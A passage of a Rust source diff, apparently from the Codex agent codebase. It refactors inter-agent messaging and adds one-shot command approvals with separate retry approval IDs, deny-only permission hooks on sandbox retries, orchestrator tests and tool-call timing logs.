FollowupTaskArgs { pub(crate) message: String, } -fn message_content(message: String) -> Result { +pub(super) fn message_content(message: String) -> Result { if message.trim().is_empty() { return Err(FunctionCallError::RespondToModel( "Empty message can't be sent to an agent".to_string(), @@ -101,10 +103,15 @@ pub(crate) async fn handle_message_string_tool( .unwrap_or_else(AgentPath::root); let communication = communication_from_tool_message(author, receiver_agent_path.clone(), message); + let kind = match mode { + MessageDeliveryMode::QueueOnly => AgentCommunicationKind::Message, + MessageDeliveryMode::TriggerTurn => AgentCommunicationKind::Followup, + }; + let context = AgentCommunicationContext::new(kind, session.thread_id); let result = session .services .agent_control - .send_inter_agent_communication(receiver_thread_id, mode.apply(communication)) + .send_inter_agent_communication(receiver_thread_id, mode.apply(communication), context) .await .map_err(|err| collab_agent_error(receiver_thread_id, err)); result?; diff --git a/codex-rs/core/src/tools/handlers/multi_agents_v2/spawn.rs b/codex-rs/core/src/tools/handlers/multi_agents_v2/spawn.rs index 2186a4a6d6..8eeb6ddd1b 100644 --- a/codex-rs/core/src/tools/handlers/multi_agents_v2/spawn.rs +++ b/codex-rs/core/src/tools/handlers/multi_agents_v2/spawn.rs @@ -4,11 +4,13 @@ use crate::agent::control::SpawnAgentOptions; use crate::agent::next_thread_spawn_depth; use crate::agent::role::DEFAULT_ROLE_NAME; use crate::agent::role::apply_role_to_config; +use crate::agent_communication::AgentCommunicationContext; +use crate::agent_communication::AgentCommunicationKind; use crate::tools::handlers::multi_agents_spec::SpawnAgentToolOptions; use crate::tools::handlers::multi_agents_spec::create_spawn_agent_tool_v2; +use crate::tools::handlers::multi_agents_v2::message_tool::message_content; use crate::turn_timing::now_unix_timestamp_ms; use codex_protocol::AgentPath; -use codex_protocol::protocol::Op; use codex_tools::ToolSpec; #[derive(Default)] @@ -55,8 +57,7 @@ async fn handle_spawn_agent( .map(str::trim) .filter(|role| !role.is_empty()); - let message = args.message.clone(); - let initial_operation = parse_collab_input(Some(args.message), /*items*/ None)?; + let message = message_content(args.message)?; let session_source = turn.session_source.clone(); let child_depth = next_thread_spawn_depth(&session_source); let mut config = @@ -104,33 +105,28 @@ async fn handle_spawn_agent( "spawned agent is missing a canonical task name".to_string(), ) })?; + let author = turn + .session_source + .get_agent_path() + .unwrap_or_else(AgentPath::root); + let communication = communication_from_tool_message(author, new_agent_path.clone(), message); + let context = AgentCommunicationContext::new(AgentCommunicationKind::Spawn, session.thread_id); let spawned_agent = Box::pin( - session.services.agent_control.spawn_agent_with_metadata( - config, - match initial_operation { - Op::UserInput { items, .. } - if items - .iter() - .all(|item| matches!(item, UserInput::Text { .. })) => - { - let author = turn - .session_source - .get_agent_path() - .unwrap_or_else(AgentPath::root); - let communication = - communication_from_tool_message(author, new_agent_path.clone(), message); - Op::InterAgentCommunication { communication } - } - initial_operation => initial_operation, - }, - Some(spawn_source), - SpawnAgentOptions { - fork_parent_spawn_call_id: fork_mode.as_ref().map(|_| call_id.clone()), - fork_mode, - parent_thread_id: Some(session.thread_id), - environments: Some(turn.environments.to_selections()), - }, - ), + session + .services + .agent_control + .spawn_agent_with_communication( + config, + communication, + context, + Some(spawn_source), + SpawnAgentOptions { + fork_parent_spawn_call_id: fork_mode.as_ref().map(|_| call_id.clone()), + fork_mode, + parent_thread_id: Some(session.thread_id), + environments: Some(turn.environments.to_selections()), + }, + ), ) .await .map_err(collab_spawn_error)?; diff --git a/codex-rs/core/src/tools/handlers/shell.rs b/codex-rs/core/src/tools/handlers/shell.rs index d899d660a1..87a9301093 100644 --- a/codex-rs/core/src/tools/handlers/shell.rs +++ b/codex-rs/core/src/tools/handlers/shell.rs @@ -6,7 +6,6 @@ use tokio_util::sync::CancellationToken; use crate::exec::ExecParams; use crate::exec_policy::ExecApprovalRequest; -use crate::exec_policy::ExecPolicyInputSource; use crate::function_tool::FunctionCallError; use crate::session::turn_context::TurnContext; use crate::session::turn_context::TurnEnvironment; @@ -180,7 +179,6 @@ async fn run_exec_like(args: RunExecLikeArgs) -> Result ExecPolicyInputSource::Configured, - Some(shell) if !shell_executable_is_path_qualified(shell) => { - ExecPolicyInputSource::ModelSelectedBare - } - Some(_) => ExecPolicyInputSource::ModelSelectedPath, - }; let hook_command = args.cmd.clone(); // TODO(anp) wire PathUri through implicit skills instead of skipping on foreign paths if let Some(native_cwd) = native_cwd.as_ref() { @@ -370,7 +361,6 @@ impl ExecCommandHandler { .permissions_preapproved, justification, prefix_rule, - input_source, }, &context, ) diff --git a/codex-rs/core/src/tools/network_approval.rs b/codex-rs/core/src/tools/network_approval.rs index 2b63164b4d..82b0e4cf36 100644 --- a/codex-rs/core/src/tools/network_approval.rs +++ b/codex-rs/core/src/tools/network_approval.rs @@ -25,6 +25,7 @@ use codex_protocol::models::PermissionProfile; use codex_protocol::protocol::AskForApproval; use codex_protocol::protocol::Event; use codex_protocol::protocol::EventMsg; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::ReviewDecision; use codex_protocol::protocol::WarningEvent; use indexmap::IndexMap; @@ -608,6 +609,7 @@ impl NetworkApprovalService { turn_context.as_ref(), guardian_approval_id, /*approval_id*/ None, + Some(ExecApprovalPurpose::Initial), Some(environment_id), prompt_command, cwd, diff --git a/codex-rs/core/src/tools/orchestrator.rs b/codex-rs/core/src/tools/orchestrator.rs index aaa0dfe9d1..e1a911d509 100644 --- a/codex-rs/core/src/tools/orchestrator.rs +++ b/codex-rs/core/src/tools/orchestrator.rs @@ -3,8 +3,8 @@ Module: orchestrator Central place for approvals + sandbox selection + retry semantics. Drives a simple sequence for any ToolRuntime: approval → select sandbox → attempt → -retry with an escalated sandbox strategy on denial (no re‑approval thanks to -caching). +retry with an escalated sandbox strategy on denial. Cacheable approvals can +cover that retry; explicitly one-shot approvals cannot. */ use crate::guardian::guardian_rejection_message; use crate::guardian::guardian_timeout_message; @@ -35,12 +35,14 @@ use codex_protocol::error::CodexErr; use codex_protocol::error::SandboxErr; use codex_protocol::exec_output::ExecToolCallOutput; use codex_protocol::protocol::AskForApproval; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::NetworkPolicyRuleAction; use codex_protocol::protocol::ReviewDecision; use codex_sandboxing::SandboxManager; use codex_sandboxing::SandboxType; use codex_utils_path_uri::PathUri; use std::time::Instant; +use uuid::Uuid; pub(crate) struct ToolOrchestrator { sandbox: SandboxManager, @@ -51,6 +53,13 @@ pub(crate) struct OrchestratorRunResult { pub deferred_network_approval: Option, } +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +enum PermissionRequestHookMode { + Skip, + DenyOnly, + AllowAndDeny, +} + impl ToolOrchestrator { pub fn new() -> Self { Self { @@ -164,6 +173,8 @@ impl ToolOrchestrator { session: &tool_ctx.session, turn: &tool_ctx.turn, call_id: &tool_ctx.call_id, + approval_id: None, + approval_purpose: ExecApprovalPurpose::Initial, guardian_review_id: guardian_review_id.clone(), retry_reason: None, network_approval_context: None, @@ -174,7 +185,7 @@ impl ToolOrchestrator { tool_ctx.call_id.as_str(), approval_ctx, tool_ctx, - /*evaluate_permission_request_hooks*/ false, + PermissionRequestHookMode::Skip, &otel, ) .await?; @@ -193,12 +204,18 @@ impl ToolOrchestrator { ExecApprovalRequirement::Forbidden { reason } => { return Err(ToolError::Rejected(reason.clone())); } - ExecApprovalRequirement::NeedsApproval { reason, .. } => { + ExecApprovalRequirement::NeedsApproval { reason, .. } + | ExecApprovalRequirement::NeedsOneShotApproval { reason } => { let guardian_review_id = use_guardian.then(new_guardian_review_id); + let approval_id = requirement + .is_one_shot() + .then(|| Uuid::new_v4().to_string()); let approval_ctx = ApprovalCtx { session: &tool_ctx.session, turn: &tool_ctx.turn, call_id: &tool_ctx.call_id, + approval_id, + approval_purpose: ExecApprovalPurpose::Initial, guardian_review_id: guardian_review_id.clone(), retry_reason: reason.clone(), network_approval_context: None, @@ -209,7 +226,7 @@ impl ToolOrchestrator { tool_ctx.call_id.as_str(), approval_ctx, tool_ctx, - /*evaluate_permission_request_hooks*/ !strict_auto_review, + permission_request_hook_mode(strict_auto_review, &requirement), &otel, ) .await?; @@ -386,15 +403,25 @@ impl ToolOrchestrator { // Strict auto-review approval covers the sandboxed attempt only; // retrying without the sandbox requires a fresh guardian review. - let bypass_retry_approval = !strict_auto_review - && tool.should_bypass_approval(approval_policy, already_approved) - && network_approval_context.is_none(); + let bypass_retry_approval = can_bypass_retry_approval( + strict_auto_review, + &requirement, + tool.should_bypass_approval(approval_policy, already_approved), + network_approval_context.is_some(), + ); if !bypass_retry_approval { + // A tool item can produce both an initial approval and a + // later retry approval. Give the retry its own unguessable + // waiter ID so a duplicated/replayed response for the + // initial prompt cannot resolve the new waiter. + let retry_approval_id = Uuid::new_v4().to_string(); let guardian_review_id = use_guardian.then(new_guardian_review_id); let approval_ctx = ApprovalCtx { session: &tool_ctx.session, turn: &tool_ctx.turn, call_id: &tool_ctx.call_id, + approval_id: Some(retry_approval_id), + approval_purpose: ExecApprovalPurpose::SandboxRetry, guardian_review_id: guardian_review_id.clone(), retry_reason: Some(retry_reason), network_approval_context: network_approval_context.clone(), @@ -407,7 +434,14 @@ impl ToolOrchestrator { &permission_request_run_id, approval_ctx, tool_ctx, - /*evaluate_permission_request_hooks*/ !strict_auto_review, + if strict_auto_review { + PermissionRequestHookMode::Skip + } else { + // A retry asks for new phase-specific authority. + // Hooks may deny it, but a command-only Allow must + // still fall through to the callback. + PermissionRequestHookMode::DenyOnly + }, &otel, ) .await?; @@ -516,13 +550,13 @@ impl ToolOrchestrator { permission_request_run_id: &str, approval_ctx: ApprovalCtx<'_>, tool_ctx: &ToolCtx, - evaluate_permission_request_hooks: bool, + permission_request_hook_mode: PermissionRequestHookMode, otel: &codex_otel::SessionTelemetry, ) -> Result where T: ToolRuntime, { - if evaluate_permission_request_hooks + if permission_request_hook_mode != PermissionRequestHookMode::Skip && let Some(permission_request) = tool.permission_request_payload(req) { let tool_name = flat_tool_name(&tool_ctx.tool_name); @@ -534,7 +568,9 @@ impl ToolOrchestrator { ) .await { - Some(PermissionRequestDecision::Allow) => { + Some(PermissionRequestDecision::Allow) + if permission_request_hook_mode == PermissionRequestHookMode::AllowAndDeny => + { let decision = ReviewDecision::Approved; otel.tool_decision( tool_name.as_ref(), @@ -554,7 +590,7 @@ impl ToolOrchestrator { ); return Err(ToolError::Rejected(message)); } - None => {} + Some(PermissionRequestDecision::Allow) | None => {} } } @@ -604,6 +640,31 @@ impl ToolOrchestrator { } } +fn can_bypass_retry_approval( + strict_auto_review: bool, + requirement: &ExecApprovalRequirement, + policy_bypasses_approval: bool, + has_network_approval_context: bool, +) -> bool { + !strict_auto_review + && !requirement.is_one_shot() + && policy_bypasses_approval + && !has_network_approval_context +} + +fn permission_request_hook_mode( + strict_auto_review: bool, + requirement: &ExecApprovalRequirement, +) -> PermissionRequestHookMode { + if strict_auto_review { + PermissionRequestHookMode::Skip + } else if requirement.is_one_shot() { + PermissionRequestHookMode::DenyOnly + } else { + PermissionRequestHookMode::AllowAndDeny + } +} + fn sandbox_outcome_from_tool_error(err: &ToolError) -> Option<&'static str> { match err { ToolError::Codex(CodexErr::Sandbox(SandboxErr::Denied { .. })) => Some("denied"), @@ -618,3 +679,7 @@ fn build_denial_reason_from_output(_output: &ExecToolCallOutput) -> String { // output so we can evolve heuristics later without touching call sites. "command failed; retry without sandbox?".to_string() } + +#[cfg(test)] +#[path = "orchestrator_tests.rs"] +mod tests; diff --git a/codex-rs/core/src/tools/orchestrator_tests.rs b/codex-rs/core/src/tools/orchestrator_tests.rs new file mode 100644 index 0000000000..3e69537d2a --- /dev/null +++ b/codex-rs/core/src/tools/orchestrator_tests.rs @@ -0,0 +1,451 @@ +use super::*; +use crate::state::ActiveTurn; +use crate::tools::sandboxing::Approvable; +use crate::tools::sandboxing::PermissionRequestPayload; +use crate::tools::sandboxing::Sandboxable; +use codex_hooks::Hooks; +use codex_hooks::HooksConfig; +use codex_protocol::exec_output::ExecToolCallOutput; +use codex_protocol::exec_output::StreamOutput; +use codex_protocol::protocol::EventMsg; +use codex_sandboxing::SandboxablePreference; +use futures::future::BoxFuture; +use pretty_assertions::assert_eq; +use std::sync::Arc; +use std::time::Duration; +use tokio::time::timeout; + +#[derive(Default)] +struct OneShotProbe { + attempts: usize, + cacheable: bool, +} + +impl Approvable<()> for OneShotProbe { + type ApprovalKey = String; + + fn approval_keys(&self, _req: &()) -> Vec { + if self.cacheable { + vec!["probe".to_string()] + } else { + Vec::new() + } + } + + fn should_bypass_approval(&self, _policy: AskForApproval, _already_approved: bool) -> bool { + false + } + + fn exec_approval_requirement(&self, _req: &()) -> Option { + Some(if self.cacheable { + ExecApprovalRequirement::NeedsApproval { + reason: Some("cacheable command".to_string()), + proposed_execpolicy_amendment: None, + } + } else { + ExecApprovalRequirement::NeedsOneShotApproval { + reason: Some("one run only".to_string()), + } + }) + } + + fn permission_request_payload(&self, _req: &()) -> Option { + Some(PermissionRequestPayload::bash( + "probe".to_string(), + Some("one-shot probe".to_string()), + )) + } + + fn start_approval_async<'a>( + &'a mut self, + _req: &'a (), + ctx: ApprovalCtx<'a>, + ) -> BoxFuture<'a, ReviewDecision> { + Box::pin(async move { + let cwd = ctx + .turn + .environments + .primary() + .expect("primary environment") + .cwd() + .to_abs_path() + .expect("local environment cwd"); + ctx.session + .request_command_approval( + ctx.turn, + ctx.call_id.to_string(), + ctx.approval_id, + Some(ctx.approval_purpose), + /*environment_id*/ None, + vec!["probe".to_string()], + cwd, + ctx.retry_reason, + ctx.network_approval_context, + /*proposed_execpolicy_amendment*/ None, + /*additional_permissions*/ None, + Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]), + ) + .await + }) + } +} + +fn install_sequenced_permission_hook( + session: &Arc, + turn: &Arc, + modes: &[&str], +) -> std::path::PathBuf { + let home = &turn.config.codex_home; + std::fs::create_dir_all(home).expect("recreate codex home"); + let script_path = home.join("permission_request_hook.py"); + let log_path = home.join("permission_request_hook_log.jsonl"); + std::fs::write( + &script_path, + format!( + r#"import json +from pathlib import Path +import sys + +log_path = Path(r"{log_path}") +modes = {modes} +payload = json.load(sys.stdin) +seen = [] if not log_path.exists() else log_path.read_text(encoding="utf-8").splitlines() +with log_path.open("a", encoding="utf-8") as handle: + handle.write(json.dumps(payload) + "\n") +mode = modes[min(len(seen), len(modes) - 1)] +decision = {{"behavior": "allow"}} if mode == "allow" else {{"behavior": "deny", "message": "blocked by test hook"}} +print(json.dumps({{"hookSpecificOutput": {{"hookEventName": "PermissionRequest", "decision": decision}}}})) +"#, + log_path = log_path.display(), + modes = serde_json::to_string(modes).expect("serialize hook modes"), + ), + ) + .expect("write permission hook"); + std::fs::write( + home.join("hooks.json"), + serde_json::json!({ + "hooks": { + "PermissionRequest": [{ + "matcher": "^Bash$", + "hooks": [{ + "type": "command", + "command": format!( + "{} \"{}\"", + if cfg!(windows) { "python" } else { "python3" }, + script_path.display(), + ), + }], + }], + }, + }) + .to_string(), + ) + .expect("write hooks config"); + + let mut shell_argv = session + .user_shell() + .derive_exec_args("", /*use_login_shell*/ false); + let shell_program = shell_argv.remove(0); + let _ = shell_argv.pop(); + session + .services + .hooks + .store(Arc::new(Hooks::new(HooksConfig { + feature_enabled: true, + bypass_hook_trust: true, + config_layer_stack: Some(turn.config.config_layer_stack.clone()), + shell_program: Some(shell_program), + shell_args: shell_argv, + ..HooksConfig::default() + }))); + log_path.into_path_buf() +} + +async fn next_exec_approval( + events: &async_channel::Receiver, +) -> codex_protocol::protocol::ExecApprovalRequestEvent { + loop { + let event = events.recv().await.expect("approval event"); + if let EventMsg::ExecApprovalRequest(approval) = event.msg { + return approval; + } + } +} + +impl Sandboxable for OneShotProbe { + fn sandbox_preference(&self) -> SandboxablePreference { + SandboxablePreference::Auto + } +} + +impl ToolRuntime<(), ()> for OneShotProbe { + async fn run( + &mut self, + _req: &(), + _attempt: &SandboxAttempt<'_>, + _ctx: &ToolCtx, + ) -> Result<(), ToolError> { + self.attempts += 1; + if self.attempts == 1 { + let output = ExecToolCallOutput { + exit_code: 1, + stdout: StreamOutput::new(String::new()), + stderr: StreamOutput::new("sandbox denied".to_string()), + aggregated_output: StreamOutput::new("sandbox denied".to_string()), + duration: Duration::from_millis(1), + timed_out: false, + }; + Err(ToolError::Codex(CodexErr::Sandbox(SandboxErr::Denied { + output: Box::new(output), + network_policy_decision: None, + }))) + } else { + Ok(()) + } + } +} + +#[tokio::test] +async fn one_shot_retry_uses_distinct_waiter_and_ignores_stale_initial_responses() { + let (session, turn, events) = crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let call_id = "one-shot-probe".to_string(); + let tool_ctx = ToolCtx { + session: Arc::clone(&session), + turn: Arc::clone(&turn), + call_id: call_id.clone(), + tool_name: codex_tools::ToolName::plain("probe"), + }; + let mut run = tokio::spawn(async move { + let mut probe = OneShotProbe::default(); + let result = ToolOrchestrator::new() + .run( + &mut probe, + &(), + &tool_ctx, + turn.as_ref(), + AskForApproval::UnlessTrusted, + ) + .await; + (result, probe.attempts) + }); + + let initial = events.recv().await.expect("initial approval event"); + let EventMsg::ExecApprovalRequest(initial) = initial.msg else { + panic!("expected initial exec approval"); + }; + assert_eq!(initial.call_id, call_id); + assert_eq!(initial.approval_purpose, Some(ExecApprovalPurpose::Initial)); + let initial_id = initial.approval_id.clone().expect("initial callback ID"); + assert_ne!(initial_id, call_id); + Uuid::parse_str(&initial_id).expect("initial callback ID should be a UUID"); + assert_eq!( + initial.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + session + .notify_exec_approval(&initial_id, ReviewDecision::Approved) + .await; + + let retry = events.recv().await.expect("retry approval event"); + let EventMsg::ExecApprovalRequest(retry) = retry.msg else { + panic!("expected retry exec approval"); + }; + assert_eq!(retry.call_id, call_id); + assert_eq!( + retry.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + let retry_id = retry.approval_id.expect("retry callback ID"); + assert_ne!(retry_id, call_id); + assert_ne!(retry_id, initial_id); + Uuid::parse_str(&retry_id).expect("retry callback ID should be a UUID"); + + for stale_id in [&call_id, &initial_id] { + for stale_decision in [ReviewDecision::Approved, ReviewDecision::Abort] { + session.notify_exec_approval(stale_id, stale_decision).await; + } + } + assert!( + timeout(Duration::from_millis(50), &mut run).await.is_err(), + "stale initial responses must not resolve the retry waiter" + ); + + session + .notify_exec_approval(&retry_id, ReviewDecision::Approved) + .await; + let (result, attempts) = timeout(Duration::from_secs(1), &mut run) + .await + .expect("orchestrator timed out") + .expect("orchestrator task failed"); + result.expect("approved retry should succeed"); + assert_eq!(attempts, 2); +} + +#[tokio::test] +async fn one_shot_hooks_allow_falls_through_and_deny_blocks_each_phase() { + for (modes, expected_approvals, expected_attempts, should_succeed) in [ + (&["allow", "allow"][..], 2, 2, true), + (&["deny"][..], 0, 0, false), + (&["allow", "deny"][..], 1, 1, false), + ] { + let (session, turn, events) = + crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let log_path = install_sequenced_permission_hook(&session, &turn, modes); + let tool_ctx = ToolCtx { + session: Arc::clone(&session), + turn: Arc::clone(&turn), + call_id: format!("hook-probe-{}", modes.join("-")), + tool_name: codex_tools::ToolName::plain("probe"), + }; + let run = tokio::spawn(async move { + let mut probe = OneShotProbe::default(); + let result = ToolOrchestrator::new() + .run( + &mut probe, + &(), + &tool_ctx, + turn.as_ref(), + AskForApproval::UnlessTrusted, + ) + .await; + (result, probe.attempts) + }); + + for index in 0..expected_approvals { + let approval = next_exec_approval(&events).await; + assert_eq!( + approval.approval_purpose, + Some(if index == 0 { + ExecApprovalPurpose::Initial + } else { + ExecApprovalPurpose::SandboxRetry + }) + ); + session + .notify_exec_approval(&approval.effective_approval_id(), ReviewDecision::Approved) + .await; + } + + let (result, attempts) = timeout(Duration::from_secs(5), run) + .await + .expect("hook scenario timed out") + .expect("hook scenario task failed"); + assert_eq!(result.is_ok(), should_succeed, "hook modes: {modes:?}"); + assert_eq!(attempts, expected_attempts, "hook modes: {modes:?}"); + assert_eq!( + std::fs::read_to_string(log_path) + .expect("read permission hook log") + .lines() + .count(), + modes.len(), + ); + } +} + +#[tokio::test] +async fn cacheable_retry_hooks_cannot_allow_new_retry_authority() { + for (retry_mode, expected_approvals, expected_attempts, should_succeed) in + [("allow", 1, 2, true), ("deny", 0, 1, false)] + { + let (session, turn, events) = + crate::session::tests::make_session_and_context_with_rx().await; + *session.active_turn.lock().await = Some(ActiveTurn::default()); + let modes = ["allow", retry_mode]; + let log_path = install_sequenced_permission_hook(&session, &turn, &modes); + let tool_ctx = ToolCtx { + session: Arc::clone(&session), + turn: Arc::clone(&turn), + call_id: format!("cacheable-hook-probe-{retry_mode}"), + tool_name: codex_tools::ToolName::plain("probe"), + }; + let run = tokio::spawn(async move { + let mut probe = OneShotProbe { + cacheable: true, + ..Default::default() + }; + let result = ToolOrchestrator::new() + .run( + &mut probe, + &(), + &tool_ctx, + turn.as_ref(), + AskForApproval::UnlessTrusted, + ) + .await; + (result, probe.attempts) + }); + + for _ in 0..expected_approvals { + let approval = next_exec_approval(&events).await; + assert_eq!( + approval.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + assert!(approval.approval_id.is_some()); + assert_eq!( + approval.effective_available_decisions(), + vec![ReviewDecision::Approved, ReviewDecision::Abort] + ); + session + .notify_exec_approval(&approval.effective_approval_id(), ReviewDecision::Approved) + .await; + } + + let (result, attempts) = timeout(Duration::from_secs(5), run) + .await + .expect("hook scenario timed out") + .expect("hook scenario task failed"); + assert_eq!(result.is_ok(), should_succeed, "retry mode: {retry_mode}"); + assert_eq!(attempts, expected_attempts, "retry mode: {retry_mode}"); + assert_eq!( + std::fs::read_to_string(log_path) + .expect("read permission hook log") + .lines() + .count(), + modes.len(), + ); + } +} + +#[test] +fn one_shot_never_bypasses_retry_approval() { + let requirement = ExecApprovalRequirement::NeedsOneShotApproval { + reason: Some("one run only".to_string()), + }; + + assert!(!can_bypass_retry_approval( + /*strict_auto_review*/ false, + &requirement, + /*policy_bypasses_approval*/ true, + /*has_network_approval_context*/ false, + )); + assert_eq!( + permission_request_hook_mode(/*strict_auto_review*/ false, &requirement), + PermissionRequestHookMode::DenyOnly, + ); +} + +#[test] +fn cacheable_approval_keeps_session_retry_and_hook_behavior() { + let requirement = ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: None, + }; + + assert!(can_bypass_retry_approval( + /*strict_auto_review*/ false, + &requirement, + /*policy_bypasses_approval*/ true, + /*has_network_approval_context*/ false, + )); + assert_eq!( + permission_request_hook_mode(/*strict_auto_review*/ false, &requirement), + PermissionRequestHookMode::AllowAndDeny, + ); + assert_eq!( + permission_request_hook_mode(/*strict_auto_review*/ true, &requirement), + PermissionRequestHookMode::Skip, + ); +} diff --git a/codex-rs/core/src/tools/parallel.rs b/codex-rs/core/src/tools/parallel.rs index a2ee89ab83..e201f0ffce 100644 --- a/codex-rs/core/src/tools/parallel.rs +++ b/codex-rs/core/src/tools/parallel.rs @@ -1,4 +1,5 @@ use std::sync::Arc; +use std::sync::OnceLock; use std::sync::atomic::AtomicBool; use std::sync::atomic::Ordering; use std::time::Instant; @@ -9,6 +10,7 @@ use tokio_util::either::Either; use tokio_util::sync::CancellationToken; use tokio_util::task::AbortOnDropHandle; use tracing::Instrument; +use tracing::info; use tracing::instrument; use tracing::trace_span; @@ -27,6 +29,15 @@ use crate::tools::router::ToolRouter; use codex_protocol::error::CodexErr; use codex_protocol::models::ResponseInputItem; +struct ToolCallTimingGuard { + started_at: Instant, + execution_started_at: Arc>, + conversation_id: String, + turn_id: String, + call_id: String, + tool_name: codex_tools::ToolName, +} + #[derive(Clone)] pub(crate) struct ToolCallRuntime { router: Arc, @@ -96,6 +107,11 @@ impl ToolCallRuntime { let invocation_cancellation_token = cancellation_token.clone(); let wait_for_runtime_cancellation = self.router.tool_waits_for_runtime_cancellation(&call); let started = Instant::now(); + let tool_call_timing_guard = + ToolCallTimingGuard::capture(started, &session.thread_id, &turn.sub_id, &call, &source); + let execution_started_at = tool_call_timing_guard + .as_ref() + .map(|timing| Arc::clone(&timing.execution_started_at)); let abort_session = Arc::clone(&session); let abort_source = source.clone(); let abort_turn = Arc::clone(&turn); @@ -112,13 +128,18 @@ impl ToolCallRuntime { ); let abort_dispatch_span = dispatch_span.clone(); - let mut handle: AbortOnDropHandle> = + let mut dispatch_handle: AbortOnDropHandle> = AbortOnDropHandle::new(tokio::spawn(async move { let _guard = if supports_parallel { Either::Left(lock.read().await) } else { Either::Right(lock.write().await) }; + // Admission through the parallel-execution gate marks the end + // of dispatch waiting and the start of handler execution. + if let Some(execution_started_at) = execution_started_at { + let _ = execution_started_at.set(Instant::now()); + } router .dispatch_tool_call_with_terminal_outcome( @@ -135,28 +156,29 @@ impl ToolCallRuntime { })); async move { + let _tool_call_timing_guard = tool_call_timing_guard; tokio::select! { - res = &mut handle => res.map_err(Self::tool_task_join_error)?, + res = &mut dispatch_handle => res.map_err(Self::tool_task_join_error)?, _ = cancellation_token.cancelled() => { - if terminal_outcome_reached.load(Ordering::Acquire) || handle.is_finished() { - handle.await.map_err(Self::tool_task_join_error)? + if terminal_outcome_reached.load(Ordering::Acquire) || dispatch_handle.is_finished() { + dispatch_handle.await.map_err(Self::tool_task_join_error)? } else { let secs = started.elapsed().as_secs_f32().max(0.1); abort_dispatch_span.record("aborted", true); if wait_for_runtime_cancellation { if terminal_outcome_reached.swap(true, Ordering::AcqRel) { - return handle.await.map_err(Self::tool_task_join_error)?; + return dispatch_handle.await.map_err(Self::tool_task_join_error)?; } // The abort owns the terminal outcome; await only so // the runtime can finish process teardown. - match handle.await { + match dispatch_handle.await { Ok(_) => {} Err(err) if err.is_cancelled() => {} Err(err) => return Err(Self::tool_task_join_error(err)), } } else { - handle.abort(); - match handle.await { + dispatch_handle.abort(); + match dispatch_handle.await { Ok(result) => return result, Err(err) if err.is_cancelled() => {} Err(err) => return Err(Self::tool_task_join_error(err)), @@ -237,6 +259,88 @@ impl ToolCallRuntime { } } +impl ToolCallTimingGuard { + fn capture( + started_at: Instant, + conversation_id: &impl std::fmt::Display, + turn_id: &str, + call: &ToolCall, + source: &ToolCallSource, + ) -> Option { + // Code-mode calls are nested within a direct code-mode tool call whose + // timing already includes them. Suppress nested guards so consumers do + // not mistake overlapping events for independent tool-call latency. + if !matches!(source, ToolCallSource::Direct) || !tracing::enabled!(tracing::Level::INFO) { + return None; + } + + Some(Self { + started_at, + execution_started_at: Arc::new(OnceLock::new()), + conversation_id: conversation_id.to_string(), + turn_id: turn_id.to_string(), + call_id: call.call_id.clone(), + tool_name: call.tool_name.clone(), + }) + } +} + +impl Drop for ToolCallTimingGuard { + fn drop(&mut self) { + let completed_at = Instant::now(); + // Snapshot once so a concurrently-starting dispatch cannot make one + // event internally inconsistent. + let execution_started_at = self + .execution_started_at + .get() + .copied() + .filter(|execution_started_at| *execution_started_at <= completed_at); + let duration_ms = |duration: std::time::Duration| u64::try_from(duration.as_millis()).ok(); + let total_duration_ms = duration_ms(completed_at.duration_since(self.started_at)); + let dispatch_duration_ms = execution_started_at.map_or_else( + || total_duration_ms, + |execution_started_at| { + duration_ms(execution_started_at.duration_since(self.started_at)) + }, + ); + let handler_duration_ms = execution_started_at.map_or(Some(0), |execution_started_at| { + duration_ms(completed_at.duration_since(execution_started_at)) + }); + + macro_rules! log_tool_call { + ($dispatch_duration_ms:expr, $handler_duration_ms:expr, $total_duration_ms:expr) => { + info!( + event.name = "codex.tool_call", + trace_id = %codex_otel::current_span_trace_id().unwrap_or_default(), + conversation.id = %self.conversation_id, + turn_id = %self.turn_id, + tool_name = %self.tool_name, + call_id = %self.call_id, + tool_source = "direct", + execution_started = execution_started_at.is_some(), + dispatch_duration_ms = $dispatch_duration_ms, + handler_duration_ms = $handler_duration_ms, + total_duration_ms = $total_duration_ms, + "tool call completed" + ); + }; + } + + match (dispatch_duration_ms, handler_duration_ms, total_duration_ms) { + (Some(dispatch_duration_ms), Some(handler_duration_ms), Some(total_duration_ms)) => { + log_tool_call!(dispatch_duration_ms, handler_duration_ms, total_duration_ms); + } + _ => { + log_tool_call!( + tracing::field::Empty, + tracing::field::Empty, + tracing::field::Empty + ); + } + } + } +} + #[cfg(test)] mod tests { use super::*; @@ -255,6 +359,154 @@ mod tests { use pretty_assertions::assert_eq; use tokio::sync::Notify; use tokio::sync::oneshot; + use tracing_test::internal::MockWriter; + + #[test] + fn tool_call_timing_guard_ignores_code_mode_source() { + let subscriber = tracing_subscriber::fmt() + .with_max_level(tracing::Level::INFO) + .finish(); + tracing::subscriber::with_default(subscriber, || { + let call = ToolCall { + tool_name: codex_tools::ToolName::plain("test_tool"), + call_id: "call-1".to_string(), + payload: ToolPayload::Function { + arguments: "{}".to_string(), + }, + }; + let direct_guard = ToolCallTimingGuard::capture( + Instant::now(), + &"conversation-id", + "turn-id", + &call, + &ToolCallSource::Direct, + ); + assert!( + direct_guard.is_some(), + "direct tool calls should create a timing guard" + ); + drop(direct_guard); + + let code_mode_guard = ToolCallTimingGuard::capture( + Instant::now(), + &"conversation-id", + "turn-id", + &call, + &ToolCallSource::CodeMode { + cell_id: "cell-1".to_string(), + runtime_tool_call_id: "runtime-call-1".to_string(), + }, + ); + assert!( + code_mode_guard.is_none(), + "nested code-mode calls should not create overlapping timing events" + ); + }); + } + + #[tokio::test] + async fn cancellation_before_dispatch_admission_logs_dispatch_only_timing() -> anyhow::Result<()> + { + let (session, turn_context) = crate::session::tests::make_session_and_context().await; + let session = Arc::new(session); + let turn_context = Arc::new(turn_context); + let tool_name = codex_tools::ToolName::plain("test_tool"); + let handler = 